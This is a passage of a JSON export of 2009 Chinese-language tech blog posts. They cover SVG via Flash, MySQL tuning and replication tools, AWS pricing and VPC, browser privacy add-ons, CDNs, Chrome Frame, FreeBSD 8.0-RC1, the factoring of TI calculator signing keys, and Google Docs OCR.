    "body": "<a href=\"http://www.wikimedia.org/\">Wikimedia</a> 的 Blog 上提到了可以用 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash</a> 顯示 <a href=\"http://zh.wikipedia.org/wiki/SVG\">SVG</a>：「<a href=\"http://techblog.wikimedia.org/2009/07/svg-for-all-with-flash/\">SVG for all… with Flash?</a>」。\r\n\r\n就目前瀏覽器的情況，只有 <a href=\"http://www.opera.com/\">Opera</a>、Gekco Engine 系列 (以 <a href=\"http://www.mozilla.com/\">Mozilla</a> 的產品為主)、WebKit Engine 系列 (以 <a href=\"http://www.apple.com/\">Apple</a> 及 <a href=\"http://www.google.com/\">Google</a> 的瀏覽器為主) 有內建，<a href=\"http://www.microsoft.com/\">Microsoft</a> 的 IE6/7/8 則必須靠 Plugin 外掛支援。\r\n\r\n不過 <a href=\"http://code.google.com/p/svgweb/\">svgweb</a> 這個 Open Source 的專案 (Apache License 2.0) 雖然還在 alpha 階段，但總算是有機會利用 Flash 顯示 SVG 圖片了，就短期看來，這樣推廣 SVG 會比較順。\r\n\r\n另外在原文裡有提到過於複雜的 SVG 檔案會使得 svgweb 過慢/吃資源的問題可以用 <a href=\"https://launchpad.net/scour\">Scour</a> 這個軟體清理 SVG 檔。",
    "title": "SVG"
  },
  {
    "id": "2070",
    "body": "在 <a href=\"http://mituzas.lt/\">Domas Mituzas 的 Blog</a> 上看到如何不停機修改 <a href=\"http://dev.mysql.com/\">MySQL</a> 唯讀參數的方式：「<a href=\"http://mituzas.lt/2009/07/30/evil-replication-management/\">Evil replication management</a>」。\r\n\r\nDomas Mituzas 在 <a href=\"http://www.sun.com/\">Sun Microsystem</a> 做事，同時也是 <a href=\"http://www.wikimedia.org/\">Wikimedia</a> 的系統與軟體發展人員，我猜這個方法應該是用在 Wikimedia 的 MySQL server 上。Wikimedia 的 MySQL server 資料量不小，如果 shutdown 後改 my.cnf 再重新啟動，會因為 <code>innodb_flush_method = O_DIRECT</code> 用掉不少時間在熱機上面。(這是 <a href=\"http://www.innodb.com/\">InnoDB</a> 常用的參數，可以避免 filesystem 與 InnoDB 重複 cache 同樣的資料，但也使得 mysqld 重新啟動時沒有 cache，會需要先熱機才能上線，不然會卡 query)\r\n\r\n於是這篇文章就教你「非正規」的方式修改 (也就是說，要自己承擔風險)，使得 cache 不會被清掉，進而降低 down time。",
    "title": "修改 MySQL 唯讀參數的方式"
  },
  {
    "id": "2072",
    "body": "從 <a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://news.slashdot.org/story/09/08/01/0239247/FCC-Probing-Apple-ATT-Rejection-of-Google-Voice\">FCC Probing Apple, AT&T Rejection of Google Voice</a>」這篇文章看到的，原報導在 <a href=\"http://www.computerworld.com/\">ComputerWorld</a> 的「<a href=\"http://www.computerworld.com/s/article/9136164/FCC_probes_Apple_s_rejection_of_Google_Voice_for_iPhone?taxonomyId=1\">FCC probes Apple's rejection of Google Voice for iPhone</a>」。\r\n\r\n關於 <a href=\"http://www.apple.com/\">Apple</a> 拒絕 Google Voice 應用程式登錄到 iPhone 上的事情，可以在「<a href=\"http://udn.com/NEWS/WORLD/WOR2/5047795.shtml\">Google應用程式 吃蘋果閉門羹</a>」、「<a href=\"http://tech.chinatimes.com/2007Cti/2007Cti-News/Inc/2007cti-news-Tech-inc/Tech-Content/0,4703,12050902+122009073000266,00.html\">蘋果拿喬 Google二度碰壁</a>」這兩篇看到。\r\n\r\n果然 <a href=\"http://www.fcc.gov/\">FCC</a> 就介入調查了 (不愧是萬惡的 <a href=\"http://www.google.com/\">Google</a>)，分別給 Apple 與 <a href=\"http://www.att.com/\">AT&amp;T</a> 各一封公文表示「關切」(在<a href=\"http://hraunfoss.fcc.gov/edocs_public/attachmatch/DA-09-1736A1.pdf\">這裡</a>可以下載 FCC 的 PDF 公文)。\r\n\r\n又是大公司之間利用政府機關鬥法了 XD\r\n\r\n<strong>Update</strong>：結果 Google 的 CEO <a href=\"http://en.wikipedia.org/wiki/Eric_E._Schmidt\">Eric Schmidt</a> 離開 Apple 董事會了：「<a href=\"http://www.apple.com/pr/library/2009/08/03bod.html\">Dr. Eric Schmidt Resigns from Apple’s Board of Directors</a>」，這算是前戲嗎？",
    "title": "FCC 調查 Apple 拒絕 Google Voice 登錄到 iPhone 上的事件"
  },
  {
    "id": "2074",
    "body": "對  <a href=\"http://www.hinet.net/\">HiNet</a> Peering 調降的新聞都只稍微提到 $1480/Mbps 以及用愈多價錢愈低，沒有列出完整的資料。到 <a href=\"http://www.ncc.gov.tw/\">NCC</a> 的網站上查：「<a href=\"http://www.ncc.gov.tw/chinese/news_detail.aspx?site_content_sn=8&is_history=0&pages=0&sn_f=11609\">NCC核定第一類電信事業市場主導者網際網路互連頻寬（Peering）批發費率案</a>」。\r\n\r\n總算是走了第一步。",
    "title": "HiNet Peering 降價的新聞"
  },
  {
    "id": "2075",
    "body": "MySQL Master-Master 架構常被用在 SQL query 相依性低的情況，像是 counter 常使用的 <code>INSERT INTO ... ON DUPLICATE KEY UPDATE a = a + 1</code> 不會因為 out-of-order 而造成問題。而 MySQL MMM 算是其中一套寫得比較好的 MySQL Master-Master 架構管理工具。\r\n\r\n不過，用 <a href=\"http://www.google.com/\">Google</a> 找 <a href=\"http://www.google.com/search?q=MySQL+MMM\">MySQL MMM</a> 會找到幾個網頁：\r\n<ul>\r\n\t<li>2007 年的「<a href=\"http://kovyrin.net/mysql-master-master-replication-manager/\">MySQL Master-Master Replication Manager</a>」，裡面是 1.0 版...</li>\r\n\t<li><a href=\"http://code.google.com/\">Google Code</a> 上面的「<a href=\"http://code.google.com/p/mysql-master-master/\">mysql-master-master</a>」，上面更新到 1.2.6 與 2.0.3，然後說計畫搬到 <a href=\"https://launchpad.net/\">Launchpad</a> 上了：「<a href=\"https://launchpad.net/mysql-mmm\">MySQL Multi-Master Replication Manager</a>」。</li>\r\n\t<li>獨立網址的「<a href=\"http://mysql-mmm.org/\">MySQL Multi-Master Replication Manager</a>」，上面更新到 1.2.3 與 2.0.9。</li>\r\n</ul>\r\n就目前看起來，MMM1 新版會在 Google Code 上更新，而 MMM2 新版可以在獨立網址站上找到。在 MMM 的 Google Group 上也有人提出類似的問題，所以遲早會解決 (吧)...",
    "title": "MySQL MMM 的情況"
  },
  {
    "id": "2077",
    "body": "在 <a href=\"http://www.schneier.com/\">Bruce Schneier</a> 的 blog 看到「<a href=\"http://www.schneier.com/blog/archives/2009/08/flash_cookies.html\">Flash Cookies</a>」這篇才想到要紀錄 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 要裝哪些套件才能維持一定的隱私。\r\n\r\n首先是 Firefox 3.5 內建的 Privacy 設定，先選擇 \"Use custom settings for history\" (這樣才能自訂)，把 \"Accept cookies from sites\" 的 \"Keep until\" 改成 \"I close Shiretoko\" (我用的版本叫做 \"Shiretoko\"，你在自己的電腦應該會看到 \"Firefox\")。接著設定 Exceptions，把常去而且會需要以 cookie 登入的站台設到白名單。\r\n\r\n然後是安裝 <a href=\"https://addons.mozilla.org/firefox/addon/953\">RefControl</a>，預設設定成 Block 或是 Forge 都可以，避免 Referer 透漏資訊。有很多站台 (尤其是中國大陸的) 因為 Referer 檢查過嚴格而無法使用時可以另外手動加上網域設為 Normal。\r\n\r\n接著裝 <a href=\"https://addons.mozilla.org/firefox/addon/6623\">BetterPrivacy</a>，在關閉 Firefox 時清掉 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash</a> 內的 <a href=\"http://en.wikipedia.org/wiki/Local_Shared_Object\">Local Shared Object</a> (類似 cookie 的功能)。",
    "title": "網路隱私權問題"
  },
  {
    "id": "2078",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 的官方 Blog 公告了 jQuery 之前所提供的 code.jquery.com 將重導至 <a href=\"http://code.google.com/apis/ajaxlibs/\">Google's AJAX Libraries API</a> 所提供 jQuery：「<a href=\"http://blog.jquery.com/2009/08/20/codejquerycom-redirected-to-google-ajax-apis/\">code.jquery.com Redirected to Google Ajax APIs</a>」。\r\n\r\n我記得之前是放在 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 上面，不支援 gzip (這點對於 JavaScript framework/library 很傷)，而且在亞洲非 PoP 國家 (HK 與 JP) 的連線品質其實並沒有很好，另外一個重點應該是因為太燒錢。\r\n\r\n另外要提到的一點是 <a href=\"http://www.hinet.net/\">HiNet</a> 與 Google 台灣機房直接連線了，不確定是不是海纜斷線的權宜之計 (把本來導去其他地區的 Google 流量導回國內，減少國際頻寬的壓力)，或是之後就會連著... 肯定的是這次直連的數據會在 HiNet 內部被評估。\r\n\r\n如果 HiNet 與 Google 台灣機房的 peering 是永久性的，另外一個可能的衝擊是台灣機房設 <a href=\"http://www.youtube.com/\">YouTube</a> 的 cache server，這樣一來台灣其他 video hosting 就差不多不用玩了 XD",
    "title": "jQuery 提供的 code.jquery.com 重導至 Google's AJAX Libraries API"
  },
  {
    "id": "2079",
    "body": "<a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a> 的 Reserved Instances 降價了：「<a href=\"http://aws.typepad.com/aws/2009/08/lower-pricing-for-amazon-ec2-reserved-instances.html\">Lower Pricing for Amazon EC2 Reserved Instances</a>」，關於 Reserved Instances 的意義可以參考『<a href=\"http://blog.gslin.org/archives/2009/03/13/1974/\">Amazon EC2 推出「年租不可抵」制度</a>』這篇文章。\r\n\r\n以最小台的為例，本來是 USD$325/year，現在變成 USD$227.5/year，另外加上 USD$0.03/hour 的費用。本來是六個半月 (~6.45) 以上才打平，現在變成四個半月 (~4.51) 就打平了。\r\n\r\n我是希望 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 趕快在上面出現...",
    "title": "Amazon EC2 的 Reserved Instances 降價"
  },
  {
    "id": "2080",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 推出 <a href=\"http://aws.amazon.com/vpc/\">Amazon Virtual Private Cloud</a>：「<a href=\"http://aws.typepad.com/aws/2009/08/introducing-amazon-virtual-private-cloud-vpc.html\">Introducing Amazon Virtual Private Cloud (VPC)</a>」。\r\n\r\n於是現有的企業或是網站，可以利用 <a href=\"http://zh.wikipedia.org/wiki/IPsec\">IPSec</a> 將內部網路串接到 Amazon Web Services 內部，而不用像以前每台機器都要用 <a href=\"http://www.openvpn.net/\">OpenVPN</a> 打洞。\r\n\r\n最直覺的想法是，企業可以直接把內部網站搬到 Amazon Web Services 上面，節省不少管理與設備的成本。\r\n\r\n對一般小網站的 <a href=\"http://dev.mysql.com/\">MySQL</a> 資料庫備份，變得更容易全自動化處理：在 <a href=\"http://aws.amazon.com/ec2\">EC2</a> 上建立 <a href=\"http://aws.amazon.com/ebs\">EBS</a> 跑 MySQL slave server，並且定時以 FLUSH + snapshot 另外再留存。\r\n\r\n對於中國大陸的公司來說，透過 IPSec 的幫助，可以變成公司穿越 <a href=\"http://zh.wikipedia.org/wiki/%E9%98%B2%E7%81%AB%E9%95%BF%E5%9F%8E\">GFW</a> 的 <a href=\"http://zh.wikipedia.org/wiki/%E8%99%9B%E6%93%AC%E7%A7%81%E4%BA%BA%E7%B6%B2%E8%B7%AF\">VPN</a> 啊 XDDD (不過仔細想了以後發現有點貴，自己租 dedicated hosting 跑 IPSec 會比較便宜)",
    "title": "Amazon Virtual Private Cloud (VPC)"
  },
  {
    "id": "2083",
    "body": "宮川達彦 (Miyagawa) 在他的 blog 上提到 <a href=\"http://www.perl.org/\">Perl</a> 的 PSGI 計畫，拿來參考的對象是 <a href=\"http://www.python.org/\">Python</a> 的 <a href=\"http://www.wsgi.org/\">WSGI</a> (<a href=\"http://www.python.org/dev/peps/pep-0333/\">PEP 333</a>)：「<a href=\"http://bulknews.typepad.com/blog/2009/09/psgi-perl-wsgi.html\">PSGI - Perl WSGI</a>」。\r\n\r\n這是一個好計畫，Perl 的確需要一個盡可能輕量化的介面，不論是透過 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 轉成 PSGI，還是之後會有 mod_psgi，有了 PSGI 後讓上層的 framework 盡可能的簡化。\r\n\r\n不過，Perl 的 threading 支援度不良一直是個頭痛的問題。真的要使用，可能還是會用 FastCGI，而非與 <a href=\"http://httpd.apache.org/\">Apache</a> 綁在一起。",
    "title": "Perl - PSGI"
  },
  {
    "id": "2084",
    "body": "似乎是篇未來文章 (日期是寫 9/7 17:41，不過程式似乎沒控制好，造成某些因素... XD)：「<a href=\"http://blog.xuite.net/photo/developer/26501939\">Xuite 即將停止對 IE6 的支援</a>」，依照公告，從 9/9 開始，用 IE6 連到 <a href=\"http://www.xuite.net/\">Xuite</a> 的頁面將會出現警告訊息。\r\n\r\n不過這些理由看了還蠻... XD\r\n<ul>\r\n\t<li>Xuite：「因 微軟的 IE6 瀏覽器版本老舊, 且微軟本身也已暫停支援!」<li>\r\n\t<li>Wikipedia：「Although IE6 has now been superseded by newer versions of Internet Explorer, Microsoft still supports it in Windows XP SP3.」\r\n</li>\r\n</ul>\r\n另外文章裡提到的 <a href=\"http://www.yahoo.com/\">Yahoo</a> 與 <a href=\"http://www.google.com/\">Google</a>，這兩家都還沒停止支援吧？連時間點都還沒訂出來 XD\r\n<ul>\r\n\t<li>Xuite：「連帶其他網路業者 如: google, yahoo 等等   也都停止對 IE6 支援!」</li>\r\n\t<li>Google：「<a href=\"http://www.tgdaily.com/content/view/40785/140/\">Google tells users to drop IE6</a>」(非官方新聞稿)</li>\r\n\t<li>Yahoo：找不到。(印象中有，但忘了是哪個服務...)</li>\r\n</ul>\r\n在台灣還有過半佔有率的 IE6，在 HiNet Xuite 強力推動下會不會因此掉更快...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3889220029/\"><img src=\"http://farm3.static.flickr.com/2646/3889220029_9582c97ffc.jpg\" alt=\"\" /></a>",
    "title": "Xuite 將停止支援 IE6"
  },
  {
    "id": "2086",
    "body": "大約是六七月的時候在 <a href=\"http://www.f5.com/\">F5</a> 的 <a href=\"http://devcentral.f5.com/\">DevCentral</a> 上面看到 Election Hash 這個分配方法：「<a href=\"http://devcentral.f5.com/Default.aspx?tabid=63&articleType=ArticleView&ArticleID=135&PageID=151\">Hash Load Balancing and Persistence on BIG-IP LTM</a>」。\r\n\r\n演算法的部份在 F5 的文章裡寫得很清楚了，這邊就不重複再說明。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Consistent_hashing\">Consistent Hashing</a> 需要一個 shared storage 放 ring 資料，但這個方法不需要，另外一方面，這個方法寫起來比較簡單，而且 query 會打散的很平均，不像 Consistent Hashing 需要用 virtual node 從機率上平均。\r\n\r\n會用 Election Hash 一個主要的原因是 <a href=\"http://devcentral.f5.com/iRules\">iRule</a> 是 <a href=\"http://www.tcl.tk/\">Tcl</a> 語法，簡單的演算法寫起來就已經很長了，如果再複雜下去... XD\r\n\r\n比較明顯的缺點在計算的量：每次 query 進來都要跟所有的 node 計算 hash value，在 node 多的時候應該會感覺到速度下降。不過目前也只有用在 cache server 的 <a href=\"http://en.wikipedia.org/wiki/Virtual_IP_address\">VIP</a> 上以提高 hit rate，後面的機器數量都不多，所以看起來還 okay...",
    "title": "Election Hash"
  },
  {
    "id": "2088",
    "body": "把一些關於 <a href=\"http://dev.mysql.com/\">MySQL</a> 的資料整理一下。\r\n\r\n初期的 MySQL 隨便跑沒關係，備份的部份記得要把 binlog 也一起備份起來，用 <a href=\"http://www.gzip.org/\">gzip</a> 壓過後 (不使用 <a href=\"http://www.bzip.org/\">bzip2</a> 或是高壓縮率參數，是因為考量解壓縮速度；另外推薦用 <a href=\"http://www.zlib.net/pigz/\">Parallel gzip</a> 壓縮，速度比較快) 再用 <a href=\"http://www.openssl.org/\">openssl</a> 加密丟到 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 上。\r\n\r\n成長後，買獨立伺服器要一次買兩台跑 HA，每台分別是：\r\n<ul>\r\n\t<li>CPU 要考量 SQL query 的方式，如果打算在 MySQL 做很多事情 (i.e. JOIN)，CPU 要選高階的；如果大多都是 simple query，則以 C/P 值高的 CPU 優先：兩顆四核心 CPU 算是現在比較划算的硬體。不管哪一種，選低電壓的，像是 <a href=\"http://www.intel.com/Xeon/\">Intel Xeon</a> L5408 或是 Intel Xeon L5520，因為硬碟蠻熱的，要減少熱量以免伺服器容易當掉。</li>\r\n\t<li>記憶體愈多愈好，64GB 算是還蠻基本的。</li>\r\n\t<li>硬碟選轉速快的 15krpm SAS，挑大一點的硬碟 (以現在的市場就是 300GB) 省得以後空間不夠要搬動。最好是硬體 RAID1+0，依照應用決定單台 database 要多大，如果預定八顆的話可以買 2U 來塞。</li>\r\n</ul>\r\n軟體的部份：\r\n<ul>\r\n\t<li>一定要跑 <a href=\"http://www.linux.org/\">Linux</a> x86-64 版本，挑大的 distribution 以免遇到問題卻無法解決。我自己還蠻偏好用 <a href=\"http://www.debian.org/\">Debian</a>。不論是 Debian 還是其他 distribution，儘量跟穩定的 branch，遇到需要升級時的問題會比較少，像是 <a href=\"http://www.debian.org/releases/lenny/\">Debian Lenny</a>。</li>\r\n\t<li>如果要跑 <a href=\"http://www.drbd.org/\">DRBD</a>，先在兩台上面設定好 <a href=\"http://www.linux-ha.org/\">Heartbeat</a> + DRBD。如果是跑 <a href=\"http://mysql-mmm.org/\">MMM</a> 的話就設定 MMM，比較需要注意的是 MMM 的版本，參考「<a href=\"http://blog.gslin.org/archives/2009/08/13/2075/\">MySQL MMM 的情況</a>」。</li>\r\n\t<li>Filesystem 跑 <a href=\"http://en.wikipedia.org/wiki/XFS\">XFS</a>，很多人在上面跑很久了，經過時間考驗的 Filesystem，跑起 MySQL <a href=\"http://www.innodb.com/\">InnoDB</a> 的效率還不錯。</li>\r\n\t<li>MySQL 跑 <a href=\"http://www.percona.com/\">Percona</a> 的 5.0 標準版本 (非 highperf 版)，穩定性還不錯。如果預期到資料量很大的時候會是 I/O bound，可以考慮 Percona 的 5.1 版本，並且開啟 InnoDB Plugin 壓縮的功能。</li>\r\n\t<li>跑監控程式，把系統的狀態記錄下來。可以是 <a href=\"http://munin.projects.linpro.no/\">Munin</a>、<a href=\"http://www.cacti.net/\">Cacti</a> 或是 <a href=\"http://www.nagios.org/\">nagios</a>，資料對於瓶頸分析很重要。</li>\r\n</ul>\r\nmy.cnf 設定的部份要花不少功夫，除了一般常見的設定外 (這部份網路上很多文件)，有些在站台比較大時會發生的問題要注意：\r\n<ul>\r\n\t<li>back_log 要開大，因為站台大的時候通常不會用 pconnect (每個 web server 都掛著 64 個連線，當有十台 web server 就佔用 640 個連線)，而是用 connect，在每次做完事情就斷線，配合 <a href=\"http://www.danga.com/memcached/\">memcached</a> 降低 MySQL 的需求。不過在量夠大的時候，還是會遇到預設的 back_log 不夠。<a href=\"http://www.smugmug.com/\">Smugmug</a> 的 CEO 在「<a href=\"http://blogs.smugmug.com/don/2008/12/23/great-things-afoot-in-the-mysql-community/\">Great things afoot in the MySQL community</a>」有提到吃過這個值的虧。</li>\r\n\t<li>max_allowed_packet 設大一點，避免比較大的 INSERT 或是 UPDATE 造成錯誤。通常這是設計上的問題，應該要避免在 MySQL 裡放 blob 資料，不過偶而還是會需要...</li>\r\n\t<li>max_connect_errors 設 4294967295，可以避免當 client (像是 <a href=\"http://www.php.net/\">php</a>) 發生太多錯誤時被 block 住。</li>\r\n\t<li>innodb_adaptive_checkpoint 要打開，可以避免在 flush dirty pages 的時候產生 slow query。MySQL 官方的版本沒有這個參數，而這個參數也是為什麼要用 Percona 版本之一。效果可以參考「<a href=\"http://www.mysqlperformanceblog.com/2008/11/13/adaptive-checkpointing/\">Adaptive checkpointing</a>」這篇文章。</li>\r\n</ul>",
    "title": "MySQL 的調校 (軟硬體、版本、設定)"
  },
  {
    "id": "2090",
    "body": "灌新電腦後要裝的字體。(留給自己之後可以查)\r\n\r\n中文：\r\n<ul>\r\n\t<li><a href=\"http://wenq.org/index.cgi?ZenHei\">文泉驛正黑</a>與<a href=\"http://wenq.org/index.cgi?MicroHei\">文泉驛微米黑</a>。</li>\r\n\t<li><a href=\"http://www.arphic.com/\">文鼎</a>所捐贈的字體，可以在很多 mirror site 抓到。</li>\r\n</ul>\r\n英文：\r\n<ul>\r\n\t<li><a href=\"http://www.gnome.org/fonts/\">Bitstream Vera Fonts</a>，某些網站會用到，像是 <a href=\"http://github.com/\">Github</a> 提供的 <a href=\"http://gist.github.com/\">Gist</a>，如果沒有這個字型就會依照 CSS 改用 \"Courier, Monospace\"，看起來就不太舒服了...</li>\r\n</ul>",
    "title": "中文與英文字型"
  },
  {
    "id": "2092",
    "body": "<a href=\"http://www.microsoft.com/\">微軟</a>放出了 Microsoft Ajax CDN，將 <a href=\"http://jquery.com/\">jQuery</a> 1.3.2 與微軟自己發展的 JavaScript library 放上 CDN：「<a href=\"http://www.asp.net/ajax/cdn/\">Microsoft Ajax CDN</a>」。\r\n\r\n並沒有像 <a href=\"http://www.google.com/\">Google</a> 那樣自己在全球建立 CDN，而是採用 <a href=\"http://www.akamai.com/\">Akamai</a> 的服務，所以速度上相當快。不過缺點是不支援 HTTPS，不像 Google 的 https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js 有合法的 SSL Certification。\r\n\r\nToS 也是相當長，而且是 docx 格式... 大致上都還蠻普通的。",
    "title": "Microsoft Ajax CDN"
  },
  {
    "id": "2093",
    "body": "在「<a href=\"http://www.enterprisestorageforum.com/technology/features/article.php/3839636\">RAID's Days May Be Numbered</a>」這篇文章裡面提到使用 RAID6 的好處。\r\n\r\n不過，比較有趣的地方是在 2009 年現在的「Hard Error Rate in Bits」數據，說明消費性 SATA 硬碟、企業級 SATA 硬碟、SAS/FC 硬碟的差異。這個數字也是在規劃 RAID 時的重要依據。\r\n\r\n由於用料與製作過程的差異造成 error rate 不同，在重視資料的場合裡，大檔案會用企業級 SATA 硬碟跑 RAID6，而資料庫會用 SAS/FC 硬碟跑 RAID1+0，而且都不會串太多顆。",
    "title": "磁碟出錯機率與 RAID"
  },
  {
    "id": "2095",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到兩位 <a href=\"http://www.mit.edu/\">MIT</a> 的學生發展一套程式 (這個計畫被稱為「Gaydar Project」)，試著用 <a href=\"http://www.facebook.com/\">Facebook</a> 上公開的資料來研判「是否為同性戀」：「<a href=\"http://slashdot.org/story/09/09/20/1753254/MIT-Project-Gaydar-Shakes-Privacy-Assumpitons\">MIT Project \"Gaydar\" Shakes Privacy Assumpitons</a>」，除此之外，參與的團體、喜愛的音樂也都能夠拿來分析各種性向。\r\n\r\n這個計畫應該會使得網路上的隱私問題又被拿出來批判一番... 一定會有鄉愿的人跳出來批評「不應該做這類研究」。\r\n\r\n這類問題在於，資料是公開的，方法也是人發展出來的，就算在全美禁止，也會有學者在其他國家發展出來。真正想要解決問題還是得從根本解決，也就是「個人資料有沒有辦法保護的更好」，現有的保護程度 (更精確的說，至少 Facebook 現有的保護程度) 可以讓研究人員取得足夠資料，表示不夠用。\r\n\r\n可以預見之後政府單位 (尤其是教育單位) 會宣導「不要在網路上留下個人資料」試著卸責，但卻沒有成效。",
    "title": "用 Facebook 上的公開資料猜測性向"
  },
  {
    "id": "2096",
    "body": "在 <a href=\"http://www.techcrunch.com/\">TechCrunch</a> 看到 <a href=\"http://www.google.com/\">Google</a> 推出「<a href=\"http://code.google.com/chrome/chromeframe/\">Google Chrome Frame</a>」，將 <a href=\"http://www.google.com/chrome\">Chrome</a> 嵌到 IE 裡面：「<a href=\"http://www.techcrunch.com/2009/09/22/google-turns-internet-explorer-into-chrome-yes-seriously/\">Google Has A Solution For Internet Explorer: Turn It Into Chrome</a>」，這個軟體的作法有種 <a href=\"https://addons.mozilla.org/firefox/addon/1419\">IETab</a> 的感覺...\r\n\r\n使用者裝了 Google Chrome Frame 後，並不會使得所有的頁面都用 <a href=\"http://webkit.org/\">Webkit Engine</a> 呈現，而是網頁製作人必須要指定「我的頁面可以用 Google Chrome Frame 顯示」才會執行：(如果是 XHTML 的話要記得加上 slash)\r\n<blockquote><code>&lt;meta http-equiv=\"X-UA-Compatible\" content=\"chrome=1\"&gt;</code></blockquote>\r\n另外還可以利用 Google 提供的 API，可以偵測使用者是不是 IE 而且沒有裝 Google Chrome Frame，如果沒有的話，可以提示使用者安裝...\r\n\r\n裝好後，可以在 IE 裡面用 <code>cf:http://...</code> 強制使用 Google Chrome Frame 測試，最明顯的改善就是字體與 input 框 (當 focus 上去時邊框會改變顏色)，可以測試看看。\r\n\r\n除此之外，裝了以後發現 <a href=\"http://gears.google.com/\">Google Gears</a> 也被裝進去了...\r\n\r\n最後留個在 IE7 + Google Chrome Frame 的 Acid3 畫面吧 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3945610974/\"><img src=\"http://farm4.static.flickr.com/3484/3945610974_f86c17fd4a.jpg\" alt=\"\" /></a>",
    "title": "Google Chrome Frame - 在 IE 裡面使用 Chrome"
  },
  {
    "id": "2098",
    "body": "在「<a href=\"http://www.freebsdnews.net/2009/09/22/freebsd-8-0-rc1-available/\">FreeBSD 8.0-RC1 available</a>」這邊提到 8.0-RC1 出來了，看起來是第一個 kernel 沒有一堆 debug info 的版本，要測效能這時候跳下去測會比 8.0-BETA4 準確，順便把之前一直在測試的 8.0-BETA4 升級到 8.0-RC1... (測 NFS 的穩定度)\r\n\r\n用台灣的前兩個 mirror site 安裝，發現慢到爆炸 (ftp.tw.freebsd.org 與 ftp2.tw.freebsd.org，分別是<a href=\"http://www.nctu.edu.tw/\">交大</a>與<a href=\"http://www.nchc.org.tw/\">國高</a>)，實在沒時間找原因，暫時先跑去 ftp.jp.freebsd.org 抓...\r\n\r\n事後看了 traceroute 與一些紀錄，交大的部份大概沒救，應該是奇怪的 filter 或是 routing 亂跑之類問題造成。國高因為只能看單邊 (<a href=\"http://www.tfn.net.tw/\">TFN</a> 端)，看不出原因。\r\n\r\n再來就是文章的這段，看了讓人笑得蠻開心的：\r\n<blockquote>How many RC's we have will depend on how well 8.0-RC1 does. At the moment only one more RC is on the schedule but odds are fairly high we will wind up inserting at least one more RC. Between BETA4 and RC1 a lot of work has gone into IPv6 issues as well as many other issues that have been brought up from the public testing. And a patch set was committed by the people who handle porting ZFS to FreeBSD that they felt makes ZFS production-ready.</blockquote>\r\n我的解讀是：\r\n<blockquote>這之後到底還會出多少 RC，要看這次 release 的 8.0-RC1 表現的如何。照表操課最少還有一次 RC，不過因為從 8.0-BETA4 到 8.0-RC1 我們又翻動太多東西 (IPv6 與 ZFS)，沒有意外的話應該會有東西爛掉，所以應該還會再多一個 RC。</blockquote>\r\n至於 8.0 的 ZFSv13 是否 stable，我還是很懷疑... 備份時跑大量的 <a href=\"http://www.samba.org/rsync\">rsync</a> 時，有一些 rsync process 會卡死 (process 砍不掉)。另外有 kernel level memory leak，不過這點可以用每天重開機來解決... (順便解決前面的卡死問題)",
    "title": "FreeBSD 8.0-RC1 釋出"
  },
  {
    "id": "2100",
    "body": "<a href=\"http://www.ti.com/\">TI</a> 工程機算機的 OS firmware 需要 sign 過才能用，但其中使用的 RSA key 的有效長度只有 512bits，所以被暴力法搞定：「<a href=\"http://www.schneier.com/blog/archives/2009/09/texas_instrumen.html\">Texas Instruments Signing Keys Broken</a>」。\r\n\r\n查了 <a href=\"http://en.wikipedia.org/\">Wikipedia</a> 上的「<a href=\"http://en.wikipedia.org/wiki/RSA_Factoring_Challenge\">RSA Factoring Challenge</a>」，早在 1994 與 1996 年左右，RSA-129 (426bits) 與 RSA-130 (430bits) 就已經被分解成功了，當時比較安全的 RSA 保護會是 1024bits (現在一般都建議 2048bits 了)。\r\n\r\n在「<a href=\"http://en.wikipedia.org/wiki/Comparison_of_Texas_Instruments_graphing_calculators\">Comparison of Texas Instruments graphing calculators</a>」可以看到很多被破解出來的型號是在這之後 (甚至在 21 世紀推出的型號) 所推出的版本，於是在 2009 的電腦，透過 <a href=\"http://boinc.berkeley.edu/\">BOINC</a>，一個禮拜內就把這些 private key 算出來：「<a href=\"http://www.ticalc.org/archives/news/articles/14/145/145273.html\">All TI Signing Keys Factored</a>」。\r\n\r\nTI 用 <a href=\"http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\">DMCA</a> 要求下架，不過在很多美國境外的網站上都找得到這些 private key 了，我猜這幾台會熱賣起來... (因為可以自己刷 OS 韌體)",
    "title": "TI 工程計算機的 RSA private key 被破解"
  },
  {
    "id": "2101",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2009/09/google-docs-ocr.html\">Google Docs OCR</a>」這邊看到 <a href=\"http://docs.google.com/\">Google Docs</a> 也開始試著提供 <a href=\"http://en.wikipedia.org/wiki/Optical_character_recognition\">OCR</a> 服務了：「<a href=\"http://googledataapis.blogspot.com/2009/09/import-scans-or-go-multilingual.html\">Import Scans or Go Multilingual</a>」，不過剛開始還不穩定，傳了兩次都是 error，應該是因為服務很吃資源，而想要測試的人又多。\r\n\r\n以文章作者自己上傳文件測試的結果來看 (英文的文件，他拿 <a href=\"http://www.ietf.org/rfc/rfc2616.txt\">RFC 2616</a> 印出來後掃描的圖檔)，有些地方有錯字，不過整體的效果還不錯... 等穩定後再來測試中文文件，有沒有支援中文對我們很重要...\r\n\r\n如同作者講的，網路上提供免費 OCR 的服務並不多，如果 <a href=\"http://www.google.com/\">Google</a> 決定把這項服務併入 Google Docs 裡的話，一定會打亂現在 OCR 付費的生態...",
    "title": "Google Docs OCR"
  },
  {
    "id": "2102",
